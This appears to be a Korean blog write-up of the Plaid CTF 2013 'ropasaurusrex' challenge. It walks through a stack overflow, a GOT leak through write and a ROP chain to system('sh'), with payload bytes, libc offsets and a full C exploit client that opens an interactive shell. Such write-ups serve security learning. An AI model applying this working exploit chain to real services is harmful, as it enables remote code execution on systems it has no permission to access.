Plaid CTF 2013 ropasaurusrex.pdf
리눅스 데몬과 libc 의 바이너리를 주고
데몬이 돌고있는 주소가 주어진다.
54.234.151.114:1025
프로그램은 매우 간단하다.
어떤 함수를 한번 호출하고 write 함수를 통해 "WIN" 이라는 글자를 출력하고 끝난다.
80483f4 함수는 아래와 같다.
스택상에 136바이트의 버퍼를 할당한다음 256바이트를 read 로 입력받는다.
140바이트째 input 부터 리턴주소를 덮어쓰게 된다.
stdio 를 통한 입출력이 network 로 연결되는것을 보면 이미 슈퍼데몬을 통해
IO 가 리다이렉션 되어있으므로 remote shell 을 딸 필요없이 local shell 만 따면 된다.
바이너리는 NX 가 걸려있으므로 주어진 libc 를 보고 ROP 를 하라는 것이다.
그러나 ASLR 이 걸려있는지는 알 수가 없다. 그래서 처음에는 libc 베이스 주소를
brute-force 하면 되겠지... 하고 일단 exploit payload 를 아래와같이 작성했다.
stack : [&system][0xDEADBEEF][&"sh"]
perl -e 'print"A"x140, "\x50\x74\x16\x00\x41\x41\x41\x41\x01\xd8\x24\x00", "A"x104, "id"'
고민끝에 write 와 GOT 는 고정된 주소에 있으므로 이를 통해 GOT 를 읽고
거기서부터 libc base 를 추정해서 다시 read 로 뛰는 방법을 생각했다.
got 는 0x8049600 에 있다.
취약점이 있는 함수에 브포를 걸고 GOT 를 확인했다.
write 부분 수행 직후의 GOT 를 확인하고 이전 GOT 엔트리와 비교하므로써 write@GOT 를 찾았다.
내 테스트환경에서의 write@libc 는 0x1ebda0 인데, 이건 중요치않고 write 가 GOT+0x14 에 있다는 것이 중요하다.
이제 머리속에 ASLR 이 걸려있어도 100% 쉘을 딸수있는 시나리오가 만들어졌다.
시나리오는 다음과 같다
1. ROP페이로드를 write( 1, 0x80489600, 256 ) 호출이후 한번더 취약함수로 뛰도록 설정
2. write 의 결과를 받고 거기서 GOT+0x14 로부터 write 의 주소를 가져옴
3. write, system, "sh" 간의 상대주소는 알고있으므로 이때의 system, "sh" 의 주소계산
4. 두번째 ROP 페이로드를 system("sh") 로 설정
5. 쉘 획득!!
시나리오를 위한 ROP 스택은 다음과 같이 구성해야한다.
ROP 페이로드 1 : [ &write ][ &vuln ][ 1 ][ &got ][ 256 ]
ROP 페이로드 2 : [ &system ][ xxxx ][ &"sh" ]
write 의 파일오프셋은 0xbf190 이었다.
system 의 파일오프셋은 0x39450 이다.
"sh" 의 파일오프셋은 0x11f801 을 사용했다.
이를 기반으로 계산된 상대주소는 아래와 같다
system 의 write 기준 상대주소 : -85D40
sh 의 write 기준 상대주소 : 602a5
이 시나리오를 수행해줄 프로그램을 C 로 아래와같이 작성했다
(당장 파이썬익혀야겠다... C로 하느라 훨신오래걸렸다)
#include "stdio.h" #include "string.h" #include "stdlib.h" #include "sys/socket.h" #include "sys/types.h" #include "netinet/in.h" unsigned int system_offset = 0x0; unsigned int sh_str_offset = 0x0; char output[4096]; int main(int argc, char *argv[]){ int sockfd; struct sockaddr_in servaddr; unsigned char rbuf[4096]; char sbuf[4096]; int cnt = 0; int n=0; sockfd=socket(AF_INET,SOCK_STREAM,0); bzero(&servaddr,sizeof(servaddr)); servaddr.sin_family=AF_INET; inet_pton(AF_INET,"54.234.151.114",&servaddr.sin_addr); servaddr.sin_port=htons(1025); if(connect(sockfd,(struct sockaddr*)&servaddr,sizeof(servaddr))==0){ printf("connected \n"); } else{ printf("cant connect\n"); close(sockfd); } // ROP stack [&write][&vuln][ 1 ][ &got ][ 256 ] memcpy(sbuf+140, "\x0c\x83\x04\x08\x26\x84\x04\x08\x01\x00\x00\x00\x00\x96\x04\x08\x00\x01\x00\x00", 20); send(sockfd, sbuf, 256, 0); n = recv(sockfd, rbuf, 4096, 0); if(n > 0){ printf("got something!!\n"); printf("[%d] %s\n", n, rbuf); dump(rbuf, 128); // GOT + 20 -> write memcpy(&system_offset, &rbuf[20], 4); memcpy(&sh_str_offset, &rbuf[20], 4); system_offset -= 0x85d40; //system 의 write 기준 상대주소 : -85D40 sh_str_offset += 0x602a5; //sh 의 write 기준 상대주소 : 602a5 printf("system : %08x, sh : %08x\n", system_offset, sh_str_offset); memset(output, 'A', 256); memcpy(output + 140, &system_offset, 4); memcpy(output + 144, &system_offset, 4); memcpy(output + 148, &sh_str_offset, 4); memcpy(output + 152, &sh_str_offset, 4); send(sockfd, output, 256, 0); printf("sent %d\n", cnt); memset(rbuf, 0, 4096); while(1){ memset(output, 0, 4096); printf("#>"); fflush(stdin); fgets(output, 100, stdin); send(sockfd, output, strlen(output), 0); send(sockfd, "\n", 1, 0); printf("[%s] cmd sent\n", output); memset(rbuf, 0, 4096); n = recv(sockfd, rbuf, 4096, 0); if(n>0){ printf("got something2!!\n"); printf("%s\n", rbuf); getchar(); } else printf("no\n"); } } printf("end\n"); return 0; }
결과적으로 아래와 같이 쉘을 딸 수 있었다.
flag : you_cant_stop_the_ropasaurusrex
처음에 바보같이 리모트쉘을 따야하는지알고 dup2 를 넣고, libc 베이스 주소계산 잘못하고
브루트포싱으로 시간날리고... C 코딩실수로 삽질하고... 별의별 삽질을 다하는통에
풀이에 무려 7~8시간 가까이 걸렸다... 지금보면 파이썬만 제대로 익히고
쓸대없는 삽질들만 안했으면 1~2시간이면 충분한 문제인거같은데
아직 너무 실력이 부족하다는걸 깨닳게 해주는 문제였다 -_-
'Games > CTF' 카테고리의 다른 글
SECUINSIDE 2013 127.0.0.1 (2) | 2013.05.28 |
---|---|
SECUINSIDE 2013 givemeshell (0) | 2013.05.28 |
JFF2 Hunter (0) | 2013.03.19 |
DEFCON20 PWN100 (0) | 2013.03.19 |
Forbidden BITS x96 (0) | 2013.03.19 |